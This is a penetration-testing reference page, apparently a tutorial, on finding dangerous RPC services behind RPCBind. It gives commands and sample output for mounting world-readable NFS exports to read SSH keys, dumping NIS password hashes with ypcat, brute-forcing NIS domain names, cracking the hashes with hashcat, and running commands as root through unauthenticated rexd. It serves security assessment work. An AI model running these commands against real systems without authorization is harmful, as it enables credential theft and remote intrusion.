# RPCBind Exposed Services Assessment

- **URL:** https://hackindex.io/services/rpcbind-portmapper/vulnerability-discovery/rpcbind-exposed-services
- **Path:** RPCBind / Portmapper > Vulnerability Discovery
- **Up:** [Vulnerability Discovery](https://hackindex.io/services/rpcbind-portmapper/vulnerability-discovery.md)
- **Published:** 2026-03-30
- **Updated:** 2026-03-30

## RPCBind Exposed Services Assessment

The portmapper itself is not the vulnerability: the danger is what it reveals. Each registered RPC program is a potential attack surface. This page covers assessing the most dangerous programs that appear in rpcinfo output: NFS without authentication, NIS/YP password database exposure, and rexd remote execution. Run [RPC program enumeration](https://hackindex.io/services/rpcbind-portmapper/enumeration/rpc-program-enumeration-with-rpcinfo) first to build the full program list before working through these checks.

- NFS: Unauthenticated Export Access
- NIS/YP: Password Database Exposure
- rexd: Remote Execution Without Authentication
- RPCBind Reachable from External Position
- Assess All Unknown Programs

## NFS: Unauthenticated Export Access

If mountd and nfs appear in the rpcinfo output, enumerate NFS exports immediately. Unauthenticated access to NFS exports is the most common high-impact finding from portmapper enumeration:

```bash
showmount -e $TARGET_IP
# Export list for 10.10.10.50:
# /home *
# /var/nfs/data 10.10.10.0/24
# /backup *
```

An export with `*` in the access list means any host can mount it: no authentication required. `/home *` means all home directories are world-mountable. This is a critical finding: mount and read SSH keys, bash history, and application configs. Move to [NFS enumeration](https://hackindex.io/services/nfs/enumeration/nfs-export-discovery) for the full exploitation path.

```bash
mkdir /tmp/nfs_test && mount -t nfs $TARGET_IP:/home /tmp/nfs_test -o nolock && ls /tmp/nfs_test/
# alice  bob  admin  service
```

## NIS/YP: Password Database Exposure

If ypserv (100004) or ypbind (100007) appear in rpcinfo output, NIS is running. NIS stores password hashes in a map accessible to any NIS domain member: and sometimes to any host on the network:

```bash
rpcinfo -p $TARGET_IP | grep -iE 'ypserv|ypbind|100004|100007'
# 100004    2   tcp  645  ypserv
# 100007    2   tcp  657  ypbind
```

```bash
ypwhich -d $DOMAIN $TARGET_IP
# 10.10.10.50
```

```bash
ypcat -d $DOMAIN -h $TARGET_IP passwd
# root:$1$abc123$hashhere:0:0:root:/root:/bin/bash
# alice:$1$xyz789$hashhere:1001:1001::/home/alice:/bin/bash
```

ypcat passwd returning password hashes confirms the NIS password map is readable. Crack the hashes with hashcat mode 500 (MD5crypt) or mode 1800 (SHA512crypt) depending on the hash format. The NIS domain name is needed: try to obtain it from the target or brute force common names:

```bash
for domain in local nis domain yp corp company; do echo -n "$domain: "; ypcat -d $domain -h $TARGET_IP passwd 2>&1 | head -1; done
# local: can't bind to NIS server
# nis: root:$1$abc123...
# corp: can't bind to NIS server
```

## rexd: Remote Execution Without Authentication

rexd (program 100017) is a remote execution daemon that accepts arbitrary command execution from any host. Its presence is a critical finding on any modern system:

```bash
rpcinfo -p $TARGET_IP | grep 100017
# 100017    1   tcp  512  rexd
```

```bash
on -d $TARGET_IP id
# uid=0(root) gid=0(root) groups=0(root)
```

rexd responding to the `on` command with command output is unauthenticated remote code execution. This is an immediate critical finding. The `on` utility is part of the `rsh-client` package on Debian/Ubuntu.

## RPCBind Reachable from External Position

Port 111 should never be reachable from untrusted networks. Confirm whether the portmapper is internet-facing or only internal:

```bash
nmap -sV -p 111 $TARGET_IP --open
# 111/tcp open  rpcbind 2-4 (RPC #100000)
```

Port 111 open from an external or untrusted network position is a misconfiguration finding even if no dangerous programs are registered. The portmapper provides a full inventory of internal services to any connecting host: information that should not be externally accessible.

## Assess All Unknown Programs

Programs showing up as numeric IDs without names are custom or less common RPC services. Scan their ports directly and fingerprint them:

```bash
rpcinfo -p $TARGET_IP | awk 'NR>1 {print $4" "$5}' | sort -u | grep -v 'rpcbind\|nfs\|mountd\|nlockmgr\|status'
# 34219 
# 48103 
# 52771 
```

```bash
nmap -sV -p 34219,48103,52771 $TARGET_IP
```

## References

- [nmap: rpcinfo NSE](https://nmap.org/nsedoc/scripts/rpcinfo.html) - RPC program enumeration and port mapping